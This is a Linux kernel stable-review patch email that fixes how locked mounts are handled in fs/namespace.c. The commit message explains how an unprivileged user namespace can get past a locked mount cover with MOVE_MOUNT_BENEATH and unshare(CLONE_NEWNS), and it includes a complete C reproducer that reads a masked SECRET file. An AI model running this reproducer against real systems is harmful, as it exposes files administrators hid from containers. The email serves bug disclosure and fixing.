From mboxrd@z Thu Jan 1 00:00:00 1970 Authentication-Results: smtp.subspace.kernel.org; arc=none smtp.remote-ip=100.103.45.18 ARC-Seal: i=1; d=subspace.kernel.org; s=arc20261015; a=rsa-sha256; cv=none; t=1792774671; b=uAXJC/fCr2PVSBTCJoJwIZmESEfQP2TM2UuDfgiR08bpGJMytX8w3ebfJmzJI2dSFw5g 1NYh4+W+cgf6KRaEIrQcwnfUfXA56enKfsxImDLXEKeQpOfsPjbMbv+zm4BZP2sK9M3+2 F9C/cwxVctv4Q4e4pnHdhmLWiuJ8cLTJ1mjXHnv3OjV5hu1UCOpf24z0dcN6c/NyeC/Ym GdNGeMkF5LvlwikUgM+buCeShP7Jkpg/tDrSeB2/nR8DN7SLXpQauqbSKJ5cafHheMHA8 TDFAUvjEi/rA9ONXsMYl4aXiNOkBrX5gqHh76sTjLDMzSv1ERD8N8kiW2tJfoYsVlYw== ARC-Message-Signature: i=1; d=subspace.kernel.org; s=arc20261015; a=rsa-sha256; c=relaxed/relaxed; t=1792774671; h=Received:DKIM-Signature:From:To:Cc:Subject:Date:Message-ID:X-Mailer: In-Reply-To:References:User-Agent:X-stable:X-Patchwork-Hint: MIME-Version:Content-Transfer-Encoding; bh=FxdN9TBRrUxtD7T/ICefFifyQJI2WPnC4jhm21El8MU=; b=WRMSIsXZV6BayMOEG5bZB7N+jckssxrl8Y6G23xC2zWsd6I6E1RPeQHRHC+SAeBKYSaA H5ufp0C8zhYOdebmHkHhsMldzvagUDw7DvsKNjlNqJmZYc5cyVGLxwal1Uk32HViJvHYm GXjw0+XTLp59xPqZ90UGep5geVgjpj7Jwu6Mp/D5D7rlzigFQPtStC0vvW9TxYhOqeXJ5 UepzTSInC9fBuqmS2N+OHB/XfJ26KM0DhKwHC2c97YdNRHfN/3/ax+ffiKU96k0d6qvit Re85mUbApol4IYhFeCnGbWTYGMZ3n/WNL+BpYXlYFLdI5d52LruDTWMLhSYCVE49SSg== ARC-Authentication-Results: i=1; smtp.subspace.kernel.org; dkim=pass header.d=linuxfoundation.org header.i=@linuxfoundation.org header.a=rsa-sha256 header.s=korg header.b=hX4KMjKw; arc=none smtp.remote-ip=100.103.45.18 Received: from smtp.kernel.org (quasi.space.kernel.org [100.103.45.18]) (using TLSv1.3 with cipher TLS_AES_256_GCM_SHA384 (256/256 bits) key-exchange X25519 server-signature ECDSA (prime256v1)) (No client certificate requested) by smtp.subspace.kernel.org (Postfix) with ESMTPS id E1275606A31A; Fri, 23 Oct 2026 16:57:50 +0000 (UTC) Authentication-Results: smtp.subspace.kernel.org; dkim=pass (1024-bit key, unprotected) header.d=linuxfoundation.org header.i=@linuxfoundation.org header.a=rsa-sha256 header.s=korg header.b=hX4KMjKw Received: by smtp.kernel.org (Postfix) with ESMTPSA id 38E3C1F01825; Fri, 23 Oct 2026 16:57:50 +0000 (UTC) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=linuxfoundation.org; s=korg; t=1792774670; bh=FxdN9TBRrUxtD7T/ICefFifyQJI2WPnC4jhm21El8MU=; h=From:To:Cc:Subject:Date:In-Reply-To:References; b=hX4KMjKwuwIqxByJ1VadjtPu9W0fe2NSztS2jtQxnI21z16Fmy+93rNPJjxR46bxg 3IFuOim6cfW/S3g2YDmSdDPOYH4XX7d4+c0tCPLPEscJwcA+oFYhlFJ2r7Rsrxx59n gzTUnVkRvQjuma6W2kOqdA0TUv/sgvQ/MPQer+bM= From: Greg Kroah-Hartman To: stable@vger.kernel.org Cc: Greg Kroah-Hartman , patches@lists.linux.dev, Chris Mason , "Christian Brauner (Amutable)" Subject: [PATCH 7.2 118/242] namespace: a mount that copy_tree() leaves out cant take over a lock Date: Fri, 23 Oct 2026 18:39:20 +0200 Message-ID: <20261023163716.571886183@linuxfoundation.org> X-Mailer: git-send-email 2.56.0 In-Reply-To: <20261023163713.816071858@linuxfoundation.org> References: <20261023163713.816071858@linuxfoundation.org> User-Agent: quilt/0.69 X-stable: review X-Patchwork-Hint: ignore X-Mailing-List: patches@lists.linux.dev List-Id: List-Post: List-Help: List-Subscribe: List-Unsubscribe: List-Owner: Precedence: list MIME-Version: 1.0 Content-Transfer-Encoding: 8bit 7.2-stable review patch. If anyone has any objections, please let me know. ------------------ From: Christian Brauner commit 69fbe94f80bc423613fa18dae6656757423732a2 upstream. Since commit c62a4766937e ("move_mount: transfer MNT_LOCKED") a mount can be moved beneath a locked mount. The lock moves from the old cover to the new mount which takes over the job of hiding what's under it and the old cover can be unmounted. That works as long as the new mount stays. But the caller picks the new mount and copy_tree() leaves a mount of a mount namespace file out of every copy made without CL_COPY_MNT_NS_FILE, together with everything mounted on it, and never looks at MNT_LOCKED. unshare(CLONE_NEWNS) and mount propagation make such copies. So a task that is root in its own user namespace gets rid of a locked cover on a file without a race and without touching the filesystem below it. It makes a child with a mount namespace of its own, binds the child's /proc//ns/mnt beneath the cover with MOVE_MOUNT_BENEATH, which hands the lock to that bind, and calls unshare(CLONE_NEWNS). The new mount namespace has nothing on the file. That's the usual way to mask a single file, a bind of /dev/null or of an empty file. With a bind of an ordinary file the file stays covered. copy_tree() already refuses to leave out a locked unbindable mount with -EPERM since commit df7342b24018 ("mount: Don't allow copying MNT_UNBINDABLE|MNT_LOCKED mounts"). Do the same for a locked mount of a mount namespace file. That also covers a tree copied with CL_COPY_MNT_NS_FILE and attached into a mount namespace of another user namespace where lock_mnt_tree() locks it. Note that unshare(CLONE_NEWNS) and clone(CLONE_NEWNS) fail with EPERM from such a mount namespace from then on. The mount can't be left out and it can't be unmounted. And refuse to move a mount of a mount namespace file beneath a locked mount in the first place. Otherwise the task ends up with a mount it can't unmount and an unshare() that fails for good. Chris also found a second mount that goes away by itself, a clone of an automounted mount that shrink_submounts() took along with its parent. Commit f78ddcc87224 ("namespace: never expire a locked mount") took care of that one. Chris's reproducer is appended. Mode nsfile reads SECRET after the unshare() on 7.3-rc7, with this patch the move_mount() fails with EINVAL and the file stays covered. nsfile-control uses an ordinary file and reads MASK both ways. // SPDX-License-Identifier: GPL-2.0 /* * Get rid of a locked cover with MOVE_MOUNT_BENEATH. * * The "admin" (root) makes a tmpfs W: * W/D file, holds SECRET, covered by a bind of a file with MASK * W/Dd/inner file, holds SECRET, Dd is covered by a bind of a directory * whose "inner" holds MASK * W/own directory of uid 1000 with the file "mine" and the * directory "minedir", whose "inner" holds MINE * W/dbg debugfs, mode 755. dbg/tracing is an automount point * The "attacker" is uid 1000. It enters a new user namespace with a new mount * namespace, so W and both covers are locked there. * * usage: prog MODE * plain put a bind of own/mine beneath the cover of D, unmount the cover * nsfile put a bind of the mount namespace file of a child beneath the * cover of D, then unshare(CLONE_NEWNS) * nsfile-control the same with a bind of own/mine * shrink put a bind of the automounted tracefs beneath the cover of Dd, * unmount the cover, put a tmpfs beneath W, call umount(W), which fails * shrink-control the same with a bind of own/minedir * The environment variable AUTOMOUNT_DIR names another automount point for "shrink". */ #define _GNU_SOURCE #include #include #include #include #include #include #include #include #include #include #include #include #include #ifndef MOVE_MOUNT_BENEATH #define MOVE_MOUNT_BENEATH 0x00000200 #endif #define W "/run/x2" static void die(const char *what) { fprintf(stderr, "FATAL %s: %s\n", what, strerror(errno)); exit(2); } static void put_file(const char *name, const char *content) { int fd = open(name, O_CREAT | O_WRONLY | O_TRUNC, 0644); if (fd < 0 || write(fd, content, strlen(content)) < 0) die(name); close(fd); } static void show(const char *path) { char buf[32] = ""; int fd = open(path, O_RDONLY); if (fd < 0) { printf("attacker: open(%s) = %s\n", path, strerror(errno)); return; } if (read(fd, buf, sizeof(buf) - 1) < 0) snprintf(buf, sizeof(buf), "<%s>", strerror(errno)); close(fd); printf("attacker: read(%s) = \"%s\"%s\n", path, buf, strncmp(buf, "SECRET", 6) ? "" : " <-- HIT"); } static int say(const char *what, int ret) { printf("attacker: %s: %s\n", what, ret ? strerror(errno) : "ok"); return ret; } static void write_str(const char *path, const char *s) { int fd = open(path, O_WRONLY); if (fd < 0 || write(fd, s, strlen(s)) < 0) die(path); close(fd); } static void mounts(void) { if (system("grep x2 /proc/self/mountinfo")) printf("attacker: no mounts listed\n"); } static void admin_setup(void) { if (unshare(CLONE_NEWNS) || mount(NULL, "/", NULL, MS_REC | MS_PRIVATE, NULL)) die("unshare"); mkdir(W, 0755); if (mount("W", W, "tmpfs", 0, "mode=755")) die("mount W"); if (mkdir(W "/Dd", 0755) || mkdir(W "/maskdir", 0755) || mkdir(W "/dbg", 0755) || mkdir(W "/own", 0755) || mkdir(W "/own/minedir", 0755)) die("mkdir"); put_file(W "/D", "SECRET"); put_file(W "/Dd/inner", "SECRET"); put_file(W "/mask", "MASK"); put_file(W "/maskdir/inner", "MASK"); put_file(W "/own/mine", "MINE"); put_file(W "/own/minedir/inner", "MINE"); if (mount(W "/mask", W "/D", NULL, MS_BIND, NULL) || mount(W "/maskdir", W "/Dd", NULL, MS_BIND, NULL)) die("covers"); if (mount("dbg", W "/dbg", "debugfs", 0, "mode=755")) die("mount debugfs"); } static void become_attacker(void) { if (setgroups(0, NULL) || setresgid(1000, 1000, 1000) || setresuid(1000, 1000, 1000) || prctl(PR_SET_DUMPABLE, 1)) die("drop to uid 1000"); if (unshare(CLONE_NEWUSER | CLONE_NEWNS)) die("unshare user and mount namespace"); write_str("/proc/self/setgroups", "deny"); write_str("/proc/self/uid_map", "0 1000 1"); write_str("/proc/self/gid_map", "0 1000 1"); } /* clone the mount at @src and put the clone beneath the top mount at @where */ static int beneath(const char *src, const char *where) { char what[128]; int fd = open_tree(AT_FDCWD, src, OPEN_TREE_CLONE | OPEN_TREE_CLOEXEC); int ret; snprintf(what, sizeof(what), "open_tree(%s, OPEN_TREE_CLONE)", src); if (say(what, fd < 0)) return -1; ret = move_mount(fd, "", AT_FDCWD, where, MOVE_MOUNT_F_EMPTY_PATH | MOVE_MOUNT_BENEATH); snprintf(what, sizeof(what), "move_mount(clone, %s, MOVE_MOUNT_BENEATH)", where); say(what, ret); close(fd); return ret; } static void do_nsfile(int control) { char path[64] = W "/own/mine"; int pfd[2]; pid_t pid; char c; if (pipe(pfd)) die("pipe"); pid = fork(); if (pid < 0) die("fork"); if (!pid) { if (unshare(CLONE_NEWNS) || write(pfd[1], "g", 1) != 1) die("child"); pause(); exit(0); } if (read(pfd[0], &c, 1) != 1) die("sync"); if (!control) snprintf(path, sizeof(path), "/proc/%d/ns/mnt", pid); beneath(path, W "/D"); mounts(); say("unshare(CLONE_NEWNS)", unshare(CLONE_NEWNS)); show(W "/D"); mounts(); kill(pid, SIGKILL); waitpid(pid, NULL, 0); } static void do_shrink(int control) { const char *automount = getenv("AUTOMOUNT_DIR"); int fd, mfd; if (!automount) automount = W "/dbg/tracing"; beneath(control ? W "/own/minedir" : automount, W "/Dd"); say("umount2(Dd, 0), the old cover", umount2(W "/Dd", 0)); say("umount2(Dd, 0), the mount that was put beneath", umount2(W "/Dd", 0)); show(W "/Dd/inner"); say("umount2(W, 0)", umount2(W, 0)); fd = fsopen("tmpfs", FSOPEN_CLOEXEC); if (fd < 0 || fsconfig(fd, FSCONFIG_CMD_CREATE, NULL, NULL, 0)) die("fsopen tmpfs"); mfd = fsmount(fd, FSMOUNT_CLOEXEC, 0); if (mfd < 0) die("fsmount"); say("move_mount(new tmpfs, W, MOVE_MOUNT_BENEATH)", move_mount(mfd, "", AT_FDCWD, W, MOVE_MOUNT_F_EMPTY_PATH | MOVE_MOUNT_BENEATH)); close(mfd); mounts(); say("umount2(W, 0)", umount2(W, 0)); show(W "/Dd/inner"); mounts(); } int main(int argc, char **argv) { const char *mode = argc > 1 ? argv[1] : "plain"; setvbuf(stdout, NULL, _IOLBF, 0); admin_setup(); become_attacker(); show(W "/D"); show(W "/Dd/inner"); say("umount2(D, MNT_DETACH)", umount2(W "/D", MNT_DETACH)); say("umount2(Dd, MNT_DETACH)", umount2(W "/Dd", MNT_DETACH)); if (!strcmp(mode, "plain")) { beneath(W "/own/mine", W "/D"); show(W "/D"); say("umount2(D, MNT_DETACH), the old cover", umount2(W "/D", MNT_DETACH)); show(W "/D"); say("umount2(D, MNT_DETACH), the mount that was put beneath", umount2(W "/D", MNT_DETACH)); show(W "/D"); mounts(); } else if (!strncmp(mode, "nsfile", 6)) { do_nsfile(!strcmp(mode, "nsfile-control")); } else { do_shrink(!strcmp(mode, "shrink-control")); } return 0; } Fixes: c62a4766937e ("move_mount: transfer MNT_LOCKED") Reported-by: Chris Mason Cc: stable@vger.kernel.org # v7.1+ Link: https://patch.msgid.link/20261014-work-namei-locked-mnt_ns_file-v1-1-24035bd5d8e9@kernel.org Signed-off-by: Christian Brauner (Amutable) Signed-off-by: Greg Kroah-Hartman --- fs/namespace.c | 19 +++++++++++++++++-- 1 file changed, 17 insertions(+), 2 deletions(-) --- a/fs/namespace.c +++ b/fs/namespace.c @@ -2221,6 +2221,11 @@ struct mount *copy_tree(struct mount *sr } if (!(flag & CL_COPY_MNT_NS_FILE) && is_mnt_ns_file(src_mnt->mnt.mnt_root)) { + if (src_mnt->mnt.mnt_flags & MNT_LOCKED) { + /* Both a mount namespace file and locked. */ + dst_mnt = ERR_PTR(-EPERM); + goto out; + } src_mnt = skip_mnt_tree(src_mnt); continue; } @@ -3607,8 +3612,9 @@ static bool mount_is_ancestor(const stru * @mnt_to: mount under which to mount * @mp: mountpoint of @mnt_to * - * - Make sure that the caller can unmount the topmost mount ensuring - * that the caller could reveal the underlying mountpoint. + * - Make sure that @mnt_from can take over the lock of @mnt_to. A + * mount of a mount namespace file is left out of a copy of the tree + * and can't. * - Ensure that nothing has been mounted on top of @mnt_from before we * grabbed @namespace_sem to avoid creating pointless shadow mounts. * - Prevent mounting beneath a mount if the propagation relationship @@ -3624,6 +3630,15 @@ static int can_move_mount_beneath(const { struct mount *parent_mnt_to = mnt_to->mnt_parent; + /* + * @mnt_from takes over the lock of @mnt_to. copy_tree() leaves a + * mount of a mount namespace file out of every copy made without + * CL_COPY_MNT_NS_FILE, together with what is mounted on it, so it + * can't keep anything hidden. + */ + if (IS_MNT_LOCKED(mnt_to) && is_mnt_ns_file(mnt_from->mnt.mnt_root)) + return -EINVAL; + /* Avoid creating shadow mounts during mount propagation. */ if (mnt_from->overmount) return -EINVAL;